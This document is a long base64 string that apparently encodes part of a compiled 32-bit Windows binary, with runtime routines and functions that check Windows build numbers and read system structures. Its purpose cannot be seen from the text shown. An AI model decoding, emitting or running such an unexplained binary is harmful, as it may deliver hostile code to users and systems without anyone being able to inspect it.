kP7/WYXAD4QFAQAAVWiwzwUQ6EWa/v+LF1lZi0wkKIsS6K0BAACL8IX2D4TIAAAAiw+BeQxIJgAAcgqDfkhkcgQz2+sDM9tDUYvTi87oVR3//4N8JFAAWXRui1QkHFGLTwhWVei7AAAAi/iDxAyF/3RSM9KLzugeIv//i+iF7XQ4i83orUD+/1CL1YvP6OqA/v9ZhcB0CFdoyOYEEOsM/xWssgMQUGiY0gUQ6KyZ/v9ZWVX/FZiyAxBX/xWYsgMQi2wkFIt8JBCF23Uhi05E6LQe//9Q/3ZEaDjTBRDoepn+/4tOTIPEDOhb7v//i87owB///4tcJEiLTCQoRYlsJBSLAYlEJCA7ww+F2v7//+sEi0wkKFH/FZiyAxBfXl1bg8Q0w1FTVVZXi3wkHIvZi8+L6ugaHv//aAAgAABqQIlEJBj/FZCyAxCL8IX2dHyDfCQQAGig1wQQdDOLB41IDIPABFFQi0cYg8AEUP93UP90JCxV/zP/cwRoiNMFEGgAEAAAVuga9v7/g8Qw6yD/d1D/dCQgVf8z/3MEaNDTBRBoABAAAFbo+PX+/4PEJDPJhcAPn8GFyXQJi87oUoH+/+sJVv8VmLIDEIvwX4vGXl1bWcNTVldqZGpAi9qL+f8VkLIDEIvwhfYPhL8BAABrFUwpBhB8i5LkUAQQiww6iU4si0w6BIvTiU4wawVMKQYQfIuI6FAEEIsEOYlGNItEOQSJRjhrBUwpBhB8i4jsUAQQiwQ5iUY8i0Q5BIvOiUZAawVMKQYQfIuAvFAEEIsEB4kG6FwBAABrBUwpBhB8jU4Ei5DEUAQQiwQ6iQGLRDoEi9OJQQToTsb+/2sFTCkGEHyNTgyL04uAwFAEEIsEB4kB6B0BAABrBUwpBhB8jU4Qi5DIUAQQiwQ6iQGLRDoEi9OJQQToD8b+/2sFTCkGEHyNThiL04uA1FAEEIsEB4kB6N4AAABrBUwpBhB8jU4ci5DQUAQQiwQ6iQGLRDoEi9OJQQTo0MX+/2sFTCkGEHyNTiSLkMxQBBCLBDqJAYtEOgSL04lBBOitxf7/awVMKQYQfI1OSIuA3FAEEIsEB4lGRGsFTCkGEHyLkOBQBBCLBDqJAYtEOgSL04lBBOgJAQAAawVMKQYQfI1OXIuA2FAEEIsEB4lGUGsFTCkGEHyLgPBQBBCLBAeJRlRrBUwpBhB8i4D4UAQQiwQHiUZYawVMKQYQfIuQ9FAEEIsEOokBi0Q6BIvTiUEE6K0AAABfi8ZeW8OD7CxTi9mJVCQEVY1MJCSJVCQYVosDM/aJTCQQjUwkIIl0JCCJdCQkiUQkGIlMJBRXhcB0amoEjVQkIIkzjUwkGOg7jP7/WYXAdFQPt0QkLo0sxQQAAABVakD/FZCyAxCL+IX/dDlVjVQkIIk7jUwkGIl8JBjoB4z+/1mFwHQgi2wkEI1fBA+3RwI78HMRi9WLy+h+xP7/RoPDCIXAdedfXl1bg8Qsw1WL7IPsGFaL8YlV7Fcz/41N8Il98ItGBIl99IlF6Il9+IlN/Il+BIXAdCL/NmpA/xWQsgMQiUX4hcB0Ef82jVXoiUYEjU346I6L/v9ZX16L5V3DVYvsUVGNVfjHRfiYUAQQuXmwARDHRfwBAAAA6PLW//+L5V3DVYvsg+T4g+x0Vot1CI1EJDwz0olEJAyNRCQUiVQkFIlUJBiLDolEJBCJVCQEiwGJRCQIORXcGwYQdSxSUlJoUCkGEGoBaEAcBhC6xBsGEOi16v//g8QYhcB1DGi8CAUQ6CaV/v/rfP92CKFQKQYQjUwkCGokWolEJAjocOv//4lEJAhZhcB0XGo8jVQkCI1MJBDozIr+/1mFwHRIi0QkdIlEJASFwHQ8jUQkHGogjVQkCIlEJBCNTCQQ6KSK/v9ZhcB0IIsGM9K5AAAAEIF4DNckAAAPRcqL1lGNTCQo6CPj//9ZXovlXcIEAFWL7FFRjVX4x0X4pFMEELl5sAEQx0X8AQAAAOjj1f//i+Vdw4tMJARRaHTXARCLURyLCegSAgAAWVnCBABVVleLfCQUvQAAAAiNdwRW/3QkHGgw1AUQ6EWU/v+DxAxqAGicUwQQVv8VVLQDEITAdB2LRCQQgXgMSCYAABvJgeEAAAD/gcEAAAACC83rGmoAaJRTBBBW/xVUtAMQhMCLzboAAAALD0XKi1QkIFGNTwzoZ+L//1lfM8BeQF3CFACD7BBTVYtsJCCNRCQIVlczyYlEJByLXRCNRQRRaJxTBBBQiUwkHIlMJCCJXCQk/xVUtAMQhMAPhO8AAACLdCQ0iwaLQASLSBAPt0UMUP91EP8Ri0QkJIF4DEgmAACLRgRzNIN4BACNexB0EYtwBKWlpaWLdCQ0xkNEAesKM8Crq6urxkNEAGoJM8CNeyBZ86tmiUNF6zWDeAQAjXsWdBGLcASlpaWli3QkNMZDEQHrCjPAq6urq8ZDEQBqCTPAjXsmWfOriEMQZolDEosGi0AEi0gMD7dFDFD/dRD/EYt0JDD/NmhM1AUQ6PWS/v8Pt0UMjVQkIFCLzui9iP7/i8iDxAyLRCQ0i0AEiUgQhcl0B2hw1AUQ6xn/FayyAxBQaIDUBRDoupL+/1nrCmgg1QUQ6K2S/v9ZX14zwF1AW4PEEMIUAFWL7IPsDItNCItFDFaJTfiLUQiLMIlF/IsCOwZ1IYtCBDtGBHUZi1EcjUX4iwlQaPXXARDoEAAAAFlZM8DrAzPAQF6L5V3CCABVi+yD5PiD7DwzwIlUJASJRCQUiUQkGIlEJAyNRCQUiUQkEFaL8YsGiUQkDIXSD4TPAAAAjUQkIGoMjVQkDIlEJBSNTCQU6OOH/v9ZhcAPhJgAAACLRCQo63yNRCQsahSNVCQMiUQkFI1MJBTovYf+/1mFwHRRi0QkPI1MJDiLFolEJAjoOcD+/4XAdEWLFo1MJDDoKsD+/4XAdB//dQyNRCQMUP90JCyNRCQ4UFb/VQj/dCQ0/xWYsgMQ/3QkPP8VmLIDEOsLaCjVBRDohZH+/1mLRCQsiUQkCIXAD4V4////i0QkIIlEJAjrD2iA1QUQ6GCR/v+LRCQMWYXAD4Ux////XovlXcNVi+xRUY1V+MdF+KhTBBC5ebABEMdF/AEAAADokdL//4vlXcNVi+yD5PiD7FhWV4t9CI1EJCQz9olEJBSNRCQciXQkHIl0JCCLD4lEJBiJdCQMiwGJRCQQOTU8HAYQdTBWVlZoVCkGEGoBaIAcBhC6JBwGEOhT5v//g8QYhcB1EGi8CAUQ6MSQ/v9Z6YsAAAChVCkGEI1UJAxqCI1MJBiJRCQQ6H6G/v9ZhcB0butcajyNVCQQjUwkGOhohv7/WYXAdFiLTwiLATtEJDR1PYtBBDtEJDh1NIN8JEwAdQ6DfCRUAHUHg3wkXAB0H1ZosM8FEOhXkP7/aAAAAMCL141MJFRG6MHe//+DxAyLRCQkiUQkDDsFVCkGEHWUX16L5V3CBABVi+xRUY1V+MdF+KxTBBC5ebABEMdF/AEAAADobtH//4vlXcNVi+yD5PiB7IwAAABWi3UIjUQkODPSiUQkDI1EJBSJVCQUiVQkGIsOiUQkEIlUJASLAYlEJAg5FewcBhB1LFJSUmhYKQYQagNo8BwGELrUHAYQ6C7l//+DxBiFwHUMaLwIBRDon4/+/+tw/3YIoVgpBhCNTCQIakBaiUQkCOik5v//iUQkCFmFwHRQalSNVCQIjUwkEOhFhf7/WYXAdDyLhCSIAAAAiUQkBIXAdC2NRCQcahyNVCQIiUQkEI1MJBDoGoX+/1mFwHQRaAAAAECL1o1MJCToqN3//1lei+VdwgQAVYvsUVGNVfjHRfiwUwQQuXmwARDHRfwBAAAA6GjQ//+L5V3DVYvsg+T4g+wcU1aLdQiNRCQcM9uJRCQYiVwkHIlcJCCLDolcJBSJXCQMV4sBiUQkFDkd3B0GEHUxaFwpBhBTU2hgKQYQagVo8B0GELrEHQYQ6Cnk//+DxBiFwHUNaLwIBRDomo7+/1nra/92CIs9XCkGEI1MJBShYCkGEIPHGGoQWolEJBTo2uT//4lEJBRZhcB0QVdqQP8VkLIDEIlEJBiFwHQwV41UJBSNTCQc6CaE/v9ZhcB0E4sNXCkGEIvWA0wkGFPostz//1n/dCQY/xWYsgMQX15bi+VdwgQAVYvsi0UMg+gAdDOD6AF0IIPoAXQRg+gBdAUzwEDrMOjSAwAA6wXorAMAAA+2wOsf/3UQ/3UI6BgAAABZ6xCDfRAAD5XAD7bAUOgXAQAAWV3CDABqEGhw2gUQ6F0IAABqAOgABAAAWYTAdQczwOngAAAA6AUDAACIReOzAYhd54Nl/ACDPTQfBhAAdAdqB+iiBgAAxwU0HwYQAQAAAOgnAwAAhMB0ZeitBwAAaDfmARDojgUAAOhABgAAxwQkuuQBEOh9BQAA6EcGAADHBCSUtAMQaIS0AxDoSt4AAFlZhcB1KejKAgAAhMB0IGiAtAMQaHy0AxDo0N0AAFlZxwU0HwYQAgAAADLbiF3nx0X8/v///+hEAAAAhNsPhUz////oCwYAAIvwgz4AdB5W6AUEAABZhMB0E/91DGoC/3UIizaLzuhnBwAA/9b/BTAfBhAzwEDoqwcAAMOKXef/dePoYAQAAFnDagxokNoFEOhLBwAAoTAfBhCFwH8EM8DrT0ijMB8GEOjzAQAAiEXkg2X8AIM9NB8GEAJ0B2oH6JUFAADokQIAAIMlNB8GEADHRfz+////6BsAAABqAP91COgeBAAAWVkzyYTAD5XBi8HoMAcAAMPogQIAAP915OjjAwAAWcNqDGiw2gUQ6M4GAACDZfwAi30Mg/8BdAqD/wJ0BYtdCOsx/3UQV4tdCFPo2gAAAIvwiXXkhfYPhL4AAAD/dRBXU+jY/f//i/CJdeSF9g+EpwAAAIP/AXUHU+jLDQAAWf91EFdT6KkEAACL8Il15IP/AXUrhfZ1Hv91EFBT6JEEAAD/dRBWU+iT/f///3UQVlPodAAAAIP/AXUEhfZ0BIX/dQtT6B0OAABZhf90BYP/A3VI/3UQV1PoYv3//4vwiXXkhfZ0Nf91EFdT6DoAAACL8Oski03siwFR/zBotN0BEP91EP91DP91COgzAQAAg8QYw4tl6DP2iXXkx0X8/v///4vG6BgGAADDVYvsVos1wLQDEIX2dQUzwEDrEv91EIvO/3UM/3UI6KAFAAD/1l5dwgwAVYvsg30MAXUF6DUDAAD/dRD/dQz/dQjosf7//4PEDF3CDABVi+yLRQhWi0g8A8gPt0EUjVEYA9APt0EGa/AoA/I71nQZi00MO0oMcgqLQggDQgw7yHIMg8IoO9Z16jPAXl3Di8Lr+eg3BwAAhcB1AzLAw2ShGAAAAFa+OB8GEItQBOsEO9B0EDPAi8rwD7EOhcB18DLAXsOwAV7D6AIHAACFwHQH6FgFAADrBeiT4QAAsAHDagDozwAAAITAWQ+VwMPoWA8AAITAdQMywMPos+YAAITAdQfoTg8AAOvtsAHD6KvmAADoPw8AALABw1WL7OitBgAAhcB1GIN9DAF1Ev91EItNFFD/dQjoigQAAP9VFP91HP91GOg52wAAWVldw+h9BgAAhcB0DGg8HwYQ6J3kAABZw+j93gAAhcAPhNDeAADDagDoYOYAAFnpCA8AAFWL7IN9CAB1B8YFVB8GEAHonAQAAOiGDgAAhMB1BDLAXcPo/OUAAITAdQpqAOiyDgAAWevpsAFdw1WL7IPsDFaLdQiF9nQFg/4BdXzoAQYAAIXAdCqF9nUmaDwfBhDoOuQAAFmFwHQEMsDrV2hIHwYQ6CfkAAD32FkawP7A60ShGAAGEI119FeD4B+/PB8GEGogWSvIg8j/08gzBRgABhCJRfSJRfiJRfylpaW/SB8GEIlF9IlF+I119IlF/LABpaWlX16L5V3DagXoAAIAAMxqCGjQ2gUQ6HoDAACDZfwAuE1aAABmOQUAAAAQdWChPAAAEIG4AAAAEFBFAAB1T7kLAQAAZjmIGAAAEHVBi0UIuQAAABArwVBR6LT9//9ZWYXAdCr3QCQAAACAdSHHRfz+////sAHrH4tF7IsAM8mBOAUAAMAPlMGLwcOLZejHRfz+////MsDoQAMAAMNVi+zo7QQAAIXAdA+AfQgAdQkzwLk4HwYQhwFdw1WL7IA9VB8GEAB0BoB9DAB1Ev91COi05AAA/3UI6EgNAABZWbABXcNVi+yhGAAGEIvIMwU8HwYQg+Ef/3UI08iD+P91B+im4gAA6wtoPB8GEOgK4wAAWffYWRvA99AjRQhdw1WL7P91COi6////99hZG8D32Ehdw1WL7IPsFINl9ACDZfgAoRgABhBWV79O5kC7vgAA//87x3QNhcZ0CffQoxQABhDrZo1F9FD/FYSyAxCLRfgzRfSJRfz/FUyyAxAxRfz/FVSyAxAxRfyNRexQ/xVQsgMQi03wjUX8M03sM038M8g7z3UHuU/mQLvrEIXOdQyLwQ0RRwAAweAQC8iJDRgABhD30YkNFAAGEF9ei+VdwzPAQMIMAGhYHwYQ/xVIsgMQw2hYHwYQ6GYMAABZw+iVLf7/i0gEgwgEiUgE6Py0/v+LSASDCAKJSATDuPQpBhDDVYvsgewkAwAAU1ZqF+izBAAAhcB0BYtNCM0pM/aNhdz8//9ozAIAAFZQiTVgHwYQ6DIMAACDxAyJhYz9//+JjYj9//+JlYT9//+JnYD9//+JtXz9//+JvXj9//9mjJWk/f//ZoyNmP3//2aMnXT9//9mjIVw/f//ZoylbP3//2aMrWj9//+cj4Wc/f//i0UEiYWU/f//jUUEiYWg/f//x4Xc/P//AQABAItA/GpQiYWQ/f//jUWoVlDoqQsAAItFBIPEDMdFqBUAAEDHRawBAAAAiUW0/xVEsgMQVo1Y//fbjUWoiUX4jYXc/P//GtuJRfz+w/8VPLIDEI1F+FD/FUCyAxCFwHUND7bD99gbwCEFYB8GEF5bi+Vdw4MlYB8GEADDU1a+JNoFELsk2gUQO/NzGFeLPoX/dAmLz+g4AAAA/9eDxgQ783LqX15bw1NWvizaBRC7LNoFEDvzcxhXiz6F/3QJi8/oDQAAAP/Xg8YEO/Ny6l9eW8P/JXi0AxDMzMzMzMzMzGhg7wEQZP81AAAAAItEJBCJbCQQjWwkECvgU1ZXoRgABhAxRfwzxVCJZej/dfiLRfzHRfz+////iUX4jUXwZKMAAAAA8sOLTfBkiQ0AAAAAWV9fXluL5V1R8sNVi+yDJWQfBhAAg+wsUzPbQwkdEAAGEGoK6MUCAACFwA+EdAEAAINl7AAzwIMNEAAGEAIzyVZXiR1kHwYQjX3UUw+ii/NbiQeJdwSJTwiJVwyLRdSLTeCJRfSB8WluZUmLRdw1bnRlbAvIi0XYNUdlbnULyPfZagFYGslqAIDBAVlTD6KL81uJB4l3BIlPCIlXDHRDi0XUJfA//w89wAYBAHQjPWAGAgB0HD1wBgIAdBU9UAYDAHQOPWAGAwB0Bz1wBgMAdRGLPWgfBhCDzwGJPWgfBhDrBos9aB8GEIN99AeLReCJReSLRdyJRfiJReh8MmoHWDPJUw+ii/NbjV3UiQOJcwSJSwiJUwyLRdipAAIAAIlF7ItF+HQJg88CiT1oHwYQX16pAAAQAHRtgw0QAAYQBMcFZB8GEAIAAACpAAAACHRVqQAAABB0TjPJDwHQiUXwiVX0i0Xwi030g+AGM8mD+AZ1M4XJdS+hEAAGEIPICMcFZB8GEAMAAAD2RewgoxAABhB0EoPIIMcFZB8GEAUAAACjEAAGEDPAW4vlXcMzwDkF8CkGEA+VwMPDOw0YAAYQ8nUC8sPy6SgAAABVi+xqAP8VPLIDEP91CP8VQLIDEGgJBADA/xXIsgMQUP8VMLIDEF3DVYvsgewkAwAAahfo7AAAAIXAdAVqAlnNKaNwIAYQiQ1sIAYQiRVoIAYQiR1kIAYQiTVgIAYQiT1cIAYQZowViCAGEGaMDXwgBhBmjB1YIAYQZowFVCAGEGaMJVAgBhBmjC1MIAYQnI8FgCAGEItFAKN0IAYQi0UEo3ggBhCNRQijhCAGEIuF3Pz//8cFwB8GEAEAAQCheCAGEKN8HwYQxwVwHwYQCQQAwMcFdB8GEAEAAADHBYAfBhABAAAAagRYa8AAx4CEHwYQAgAAAGoEWGvAAIsNGAAGEIlMBfhqBFjB4ACLDRQABhCJTAX4aMS0AxDo4f7//4vlXcPM/yU0sgMQVYvsVjP2gz1kHwYQAn0ti00Ii9FmiwGDwQJmhcB19WaLRQyD6QI7ynQFZjkBdfRmOQF1BIvB62YzwOtii1UIZotNDOsSD7cCZjvBdQKL8maFwHRIg8ICjUIBqA515zPAZjvBdR64AQD//2YPbsjrA4PCEA8QAmYPOmPIFXXyjQRK6xsPt8FmD27AZg86YwJBcwONNEp0BYPCEOvui8ZeXcNTi9xRUYPk8IPEBFWLawSJbCQEi+yLSwiD7CCDPWQfBhABZotTDHxHD7fCZg9uwPIPcMAAZg9w0ACLwSX/DwAAPfAPAAB3PQ8QAWYP78lmD3XIZg91wmYP68hmD9fBhcB1NIPBEOvSZjvCdAuDwQIPtwFmhcB18DPAZjkRD5XASCPB6yIPtwFmO8J0GGaFwHQPg8EC66MPvMCJRfwDyOvXM8DrAovBi+Vdi+Nbw1OL3FFRg+Twg8QEVYtrBIlsJASL7IPsKFZXi3sMM8APtw+JTfhmO8F1CItDCOlIAgAAoWQfBhCD+AEPjuoAAACLxyX/DwAAagJePfAPAAB3BQ8QB+sraghmD+/AD7fJWg+3wWYPc9gCZg/EwAczwGY7wXQFA/4Ptw+D6gF14otN+ItTCIvCJf8PAAA98A8AAHdbZg86YwINdgiDwhCLTfjr4g+D0AEAAGYPOmMCDY0USotLDIv6i8eJTfwl/w8AAD3wDwAAdz2LwSX/DwAAPfAPAAB3Lw8QCWYPOmMPDXE8eEGLTfyDxxCDwRDryQ+3AjP/Zjv4D4R9AQAAZjvBdLED1uuAD7cBg2X8AGY5Rfx0EmY5B3UGA/4DzuuaA9bpev///4vC6VABAAAPheMAAAAPt8FmD+/bi0sIagJeZg9uwPIPcMAAZg9w4ACLwSX/DwAAPfAPAAB3Kg8QCQ8ow2YPdcFmD3XMZg/rwWYP18CFwHUFg8EQ69MPvMCJRfjR6I0MQQ+3ATPSZjvQD4TnAAAAD7cXZjvQdW+L0YvHJf8PAAA98A8AAHdEi8Il/w8AAD3wDwAAdzYPEBcPEAoPKMNmD3XKZg91wmYPdctmD+vIZg/XwYXAdQiDwhCDxxDruw+8wIlF+IPg/gPQA/gPtweDZfgAZjlF+HQVZjkCdQYD1gP+65aLewwDzuk8////i8HrZ4tTCA+3AmaFwHRag2X4AIvIi8Irx4lF/GoCXmaFyXQnD7cPZoXJD4Tk/v//D7cMOA+3ByvIi0X8i034dQ0D/mY5DDh12+sDi034ZjkPD4S9/v//i3sMA9YDxolF/A+3CmaFyXW7M8BfXovlXYvjW8NVi+xWi3UQV4t9DFZX/3UI/xUksgMQhfZ0HIXAdQUzyWaJDzvGdQ//FayyAxCFwHUFZolEd/5fXl3DVYvsgexMAgAAoRgABhAzxYlF/ItFCI2N9P3//2gEAQAAUVDonv///4PEDIM9IAAGEAV2WldoACAAAGoAvyAABhBX6JUj/v+DxAyEwHQ/jYXU/f//aNS0AxBQ6Iki/v+NhfT9//9QjYXk/f//UOiuIv7/jYW0/f//UGoEagBqAGjB1gUQV+iOI/7/g8QoX4tN/DPN6CL6//+L5V3DVYvsgexMAgAAoRgABhAzxYlF/ItFCI2N9P3//2gEAQAAUVDoAv///4PEDIM9IAAGEAV2WldoACAAAGoAvyAABhBX6Pki/v+DxAyEwHQ/jYXU/f//aOS0AxBQ6O0h/v+NhfT9//9QjYXk/f//UOgSIv7/jYW0/f//UGoEagBqAGj91gUQV+jyIv7/g8QoX4tN/DPN6Ib5//+L5V3DM8BQUFBoIAAGEOj6IP7/g8QQw2ggAAYQ6HQh/v9Zw8zMzMzMzMzMzMxVi+xWi3UIV4t9DIsGg/j+dA2LTgQDzzMMOOg6+f//i0YIi04MA88zDDhfXl3pJ/n//8zMzMzMzMzMzMzMzMzMVYvsg+wcU4tdDFZXxkX/AItDCI1zEDMFGAAGEFZQx0X0AQAAAIl18IlF+OiQ////i30QV+jf+P//i0UIg8QM9kAEZg+FtAAAAIlF5I1F5Il96It7DIlD/IP//g+EwAAAAItN+I1HAo0ER4scgY0EgYtIBIlF7IXJdGaL1uidBwAAsQGITf+FwHhqfleLRQiBOGNzbeB1NIM9+CkGEAB0K2j4KQYQ6HaAAQCDxASFwHQaizX4KQYQi85qAf91COg/9v///9aLdfCDxAiLVQiLTQzoeAcAAItFDDl4DHRf60uKTf+L+4P7/g+Fc////4TJdC/rIcdF9AAAAADrGIN7DP50HmgYAAYQVovLuv7////oUgcAAFb/dfjoov7//4PECItF9F9eW4vlXcNoGAAGEFaL14vI6C0HAACLRQxW/3X4iVgM6Hf+//+LTeyDxAiL1otJCOjcBgAAzOiiCAAA6FsFAADoLQgAAITAdQMywMPo0wcAAITAdQfoVAgAAOvt6BL+//+wAcPoQwcAAIXAD5XAw2oA6AAHAABZsAHDVYvs6AT+//+AfQgAdRLoygcAAOgcCAAAagDoJgUAAFmwAV3D6LQHAACwAcNVi+z/dQj/FRiyAxCFwHQRVoswUOh/1wAAi8ZZhfZ18V5dw8zMzItMJAwPtkQkCIvXi3wkBIXJD4Q8AQAAacABAQEBg/kgD47fAAAAgfmAAAAAD4yLAAAAD7olaB8GEAFzCfOqi0QkBIv6ww+6JRAABhABD4OyAAAAZg9uwGYPcMAAA88PEQeDxxCD5/Arz4H5gAAAAH5MjaQkAAAAAI2kJAAAAACQZg9/B2YPf0cQZg9/RyBmD39HMGYPf0dAZg9/R1BmD39HYGYPf0dwjb+AAAAAgemAAAAA98EA////dcXrEw+6JRAABhABcz5mD27AZg9wwACD+SByHPMPfwfzD39HEIPHIIPpIIP5IHPs98EfAAAAdGKNfDng8w9/B/MPf0cQi0QkBIv6w/fBAwAAAHQOiAdHg+kB98EDAAAAdfL3wQQAAAB0CIkHg8cEg+kE98H4////dCCNpCQAAAAAjZsAAAAAiQeJRwSDxwiD6Qj3wfj///917YtEJASL+sNVi+yhGAAGEIPgH2ogWSvIi0UI08gzBRgABhBdw1WL7ItFCDPJU1ZXjRyFnCIGEDPA8A+xC4sVGAAGEIPP/4vKi/KD4R8z8NPOO/d0aYX2dASLxutji3UQO3UUdBr/NuhZAAAAWYXAdS+DxgQ7dRR17IsVGAAGEDPAhcB0Kf91DFD/FXyyAxCL8IX2dBNW6G3///9ZhwPruYsVGAAGEOvZixUYAAYQi8JqIIPgH1kryNPPM/qHOzPAX15bXcNVi+xTi10IM8lXM8CNPJ2MIgYQ8A+xD4vIhcl0C41BAffYG8AjwetVixyd9LQDEFZoAAgAAGoAU/8VALIDEIvwhfZ1J/8VrLIDEIP4V3UNVlZT/xUAsgMQi/DrAjP2hfZ1CYPI/4cHM8DrEYvGhweFwHQHVv8VeLIDEIvGXl9bXcNVi+xWaKi1AxBopLUDEGiotQMQagDoxf7//4vwg8QQhfZ0F/91FIvO/3UQ/3UM/3UI6ETy////1usDajJYXl3DVYvsVmi8tQMQaLi1AxBovLUDEGoB6IX+//+L8IPEEIX2dBr/dRiLzv91FP91EP91DP91COgB8v///9brA2oyWF5dw1WL7FZo1LUDEGjQtQMQaNS1AxBqAuhC/v//i/CDxBCF9nQR/3UMi87/dQjox/H////W6wNqMlheXcNVi+xWaOi1AxBo5LUDEGjotQMQagPoCP7//4vwg8QQhfZ0IP91IIvO/3Uc/3UY/3UU/3UQ/3UM/3UI6H7x////1usDajJYXl3DVYvsVmgEtgMQaPy1AxBoBLYDEGoE6L/9//+L8IPEEIX2dA//dQiLzuhH8f///9ZeXcNeXf8lELIDEFWL7FZoGLYDEGgQtgMQaBi2AxBqBeiF/f//g8QQi/D/dQiF9nQLi87oDfH////W6wb/FQSyAxBeXcNVi+xWaCi2AxBoILYDEGgotgMQagboS/3//4PEEIvw/3UIhfZ0C4vO6NPw////1usG/xUMsgMQXl3DVYvsVmg8tgMQaDS2AxBoPLYDEGoH6BH9//+DxBCL8P91DP91CIX2dAuLzuiW8P///9brBv8VCLIDEF5dw1WL7FZoULYDEGhItgMQaFC2AxBqCOjU/P//i/CDxBCF9nQU/3UQi87/dQz/dQjoVvD////W6wz/dQz/dQj/FRSyAxBeXcOhGAAGEFdqIIPgH7+cIgYQWSvIM8DTyDMFGAAGEGoJWfOrX8NVi+yAfQgAdSdWvowiBhCDPgB0EIM+/3QI/zb/FXiyAxCDJgCDxgSB/pwiBhB14F5dw8zMzMzMzMzMzMzMU1ZXi1QkEItEJBSLTCQYVVJQUVFoEPcBEGT/NQAAAAChGAAGEDPEiUQkCGSJJQAAAACLRCQwi1gIi0wkLDMZi3AMg/7+dDuLVCQ0g/r+dAQ78nYujTR2jVyzEIsLiUgMg3sEAHXMaAEBAACLQwjoogMAALkBAAAAi0MI6LQDAADrsGSPBQAAAACDxBhfXlvDi0wkBPdBBAYAAAC4AQAAAHQzi0QkCItICDPI6Enx//9Vi2gY/3AM/3AQ/3AU6D7///+DxAxdi0QkCItUJBCJArgDAAAAw1X/dCQI6Bjx//+DxASLTCQIiyn/cRz/cRj/cSjoCf///4PEDF3CBABVVldTi+ozwDPbM9Iz9jP//9FbX15dw4vqi/GLwWoB6PMCAAAzwDPbM8kz0jP//+ZVi+xTVldqAFJowvcBEFHoNH0BAF9eW13DVYtsJAhSUf90JBToqf7//4PEDF3CCABVi+yLRQiFwHQOPcAiBhB0B1DozdAAAFldwgQAVYvsoWAABhCD+P90J1aLdQiF9nUOUOhN/f//i/ChYAAGEFlqAFDod/3//1lZVuix////Xl3Dgz1gAAYQ/3UDM8DDVlf/FayyAxD/NWAABhCL+OgR/f//i/BZhfZ0C1f/FRizAxCLxutCaihqAeh70QAAi/BZWYX2dBJW/zVgAAYQ6Bz9//9ZWYXAdQtX/xUYswMQM//rC1f/FRizAxCL/jP2Vugg0AAAWYvHX17DaN73ARDoPPz//6NgAAYQWYP4/3UDMsDDaMAiBhBQ6NH8//9ZWYXAdQfoBQAAAOvlsAHDoWAABhCD+P90DlDoPfz//4MNYAAGEP9ZsAHDVle/6CIGEDP2agBooA8AAFfozfz//4PEDIXAdBX/BQAjBhCDxhiDxxiD/hhy27AB6wfoBQAAADLAX17DVos1ACMGEIX2dCBrxhhXjbjQIgYQV/8V8LEDEP8NACMGEIPvGIPuAXXrX7ABXsOhGAAGEIPgH2ogWSvIM8DTyDMFGAAGEKMEIwYQw8zMVYvsU1ZXVWoAagBomPkBEP91COheewEAXV9eW4vlXcOLTCQE90EEBgAAALgBAAAAdDKLRCQUi0j8M8joue7//1WLaBCLUChSi1AkUugUAAAAg8QIXYtEJAiLVCQQiQK4AwAAAMNTVleLRCQQVVBq/mig+QEQZP81AAAAAKEYAAYQM8RQjUQkBGSjAAAAAItEJCiLWAiLcAyD/v90OoN8JCz/dAY7dCQsdi2NNHaLDLOJTCQMiUgMg3yzBAB1F2gBAQAAi0SzCOhJAAAAi0SzCOhfAAAA67eLTCQEZIkNAAAAAIPEGF9eW8MzwGSLDQAAAACBeQSg+QEQdRCLUQyLUgw5UQh1BbgBAAAAw1NRu3AABhDrC1NRu3AABhCLTCQMiUsIiUMEiWsMVVFQWFldWVvCBAD/0MNqDGjw2gUQ6K3r//+DZeQAi0UI/zDoOjAAAFmDZfwAi00M6LIKAACL8Il15MdF/P7////oDQAAAIvG6MDr///CDACLdeSLRRD/MOgZMAAAWcOL/1WL7IPsDItFCI1N/4lF+IlF9I1F+FD/dQyNRfRQ6Iv///+L5V3Di/9Vi+yB7IQEAAChGAAGEDPFiUX8g30YAItFEFOLXRSJhaD7//91GOjo0wAAxwAWAAAA6KbQAACDyP/pEQEAAIXbdASFwHTgVlf/dRyNjXz7///oawkAAItNCI29kPv//zPAM9Krq6uri8GLvaD7//+D4AKJhYz7//8Lwom9kPv//4mdlPv//4mVmPv//3UKiJWc+///hf91B8aFnPv//wH/dSCNhZD7//+JhaD7//+NhYD7//9Q/3UYjYWg+////3UMUVCNjaT7///oiQgAAI2NpPv//+hPDAAAi/CF/3RLi0UIM8mD4AELwXQchdt1BIX2dW+LhZj7//87w3UqhfZ4KTvzdiXrW4uFjPv//wvBdE2F23QVhfZ5BIgP6w2LhZj7//87w3RNiAwHjY3k+///6A8JAACAvYj7//8AdA2LjXz7//+DoVADAAD9X4vGXotN/DPNW+jt6///i+Vdw4XbdQWDzv/rw4uFmPv//zvDdbZq/l6ITB//67CL/1WL7IHshAQAAKEYAAYQM8WJRfyDfRgAi0UQU4tdFImFoPv//3UY6GzSAADHABYAAADoKs8AAIPI/+kXAQAAhdt0BIXAdOBWV/91HI2NfPv//+jvBwAAi00Ijb2Q+///M8Az0qurq6uLwYu9oPv//4PgAomFjPv//wvCib2Q+///iZ2U+///iZWY+///dQqIlZz7//+F/3UHxoWc+///Af91II2FkPv//4mFoPv//42FgPv//1D/dRiNhaD7////dQxRUI2NpPv//+hCBwAAjY2k+///6BsNAACL8IX/dFGLRQiD4AGDyAB0HIXbdQSF9nV2i4WY+///O8N1LoX2eDA783Ys62KLhYz7//+DyAB0U4XbdBuF9nkHM8BmiQfrEIuFmPv//zvDdFAzyWaJDEeNjeT7///ojQcAAIC9iPv//wB0DYuNfPv//4OhUAMAAP1fi8Zei038M81b6Gvq//+L5V3Dhdt1BYPO/+vDi4WY+///O8N1s2r+XjPAZolEX/7rrYv/VYvsgeyEBAAAoRgABhAzxYlF/IN9GACLRRBTi10UiYWg+///dRjo59AAAMcAFgAAAOilzQAAg8j/6RcBAACF23QEhcB04FZX/3UcjY18+///6GoGAACLTQiNvZD7//8zwDPSq6urq4vBi72g+///g+ACiYWM+///C8KJvZD7//+JnZT7//+JlZj7//91CoiVnPv//4X/dQfGhZz7//8B/3UgjYWQ+///iYWg+///jYWA+///UP91GI2FoPv///91DFFQjY2k+///6L0FAACNjaT7///oxgwAAIvwhf90UYtFCIPgAYPIAHQchdt1BIX2dXaLhZj7//87w3UuhfZ4MDvzdizrYouFjPv//4PIAHRThdt0G4X2eQczwGaJB+sQi4WY+///O8N0UDPJZokMR42N5Pv//+gIBgAAgL2I+///AHQNi418+///g6FQAwAA/V+Lxl6LTfwzzVvo5uj//4vlXcOF23UFg87/68OLhZj7//87w3Wzav5eM8BmiURf/uuti/9Vi+yDfRgAdRXof88AAMcAFgAAAOg9zAAAg8j/XcNWi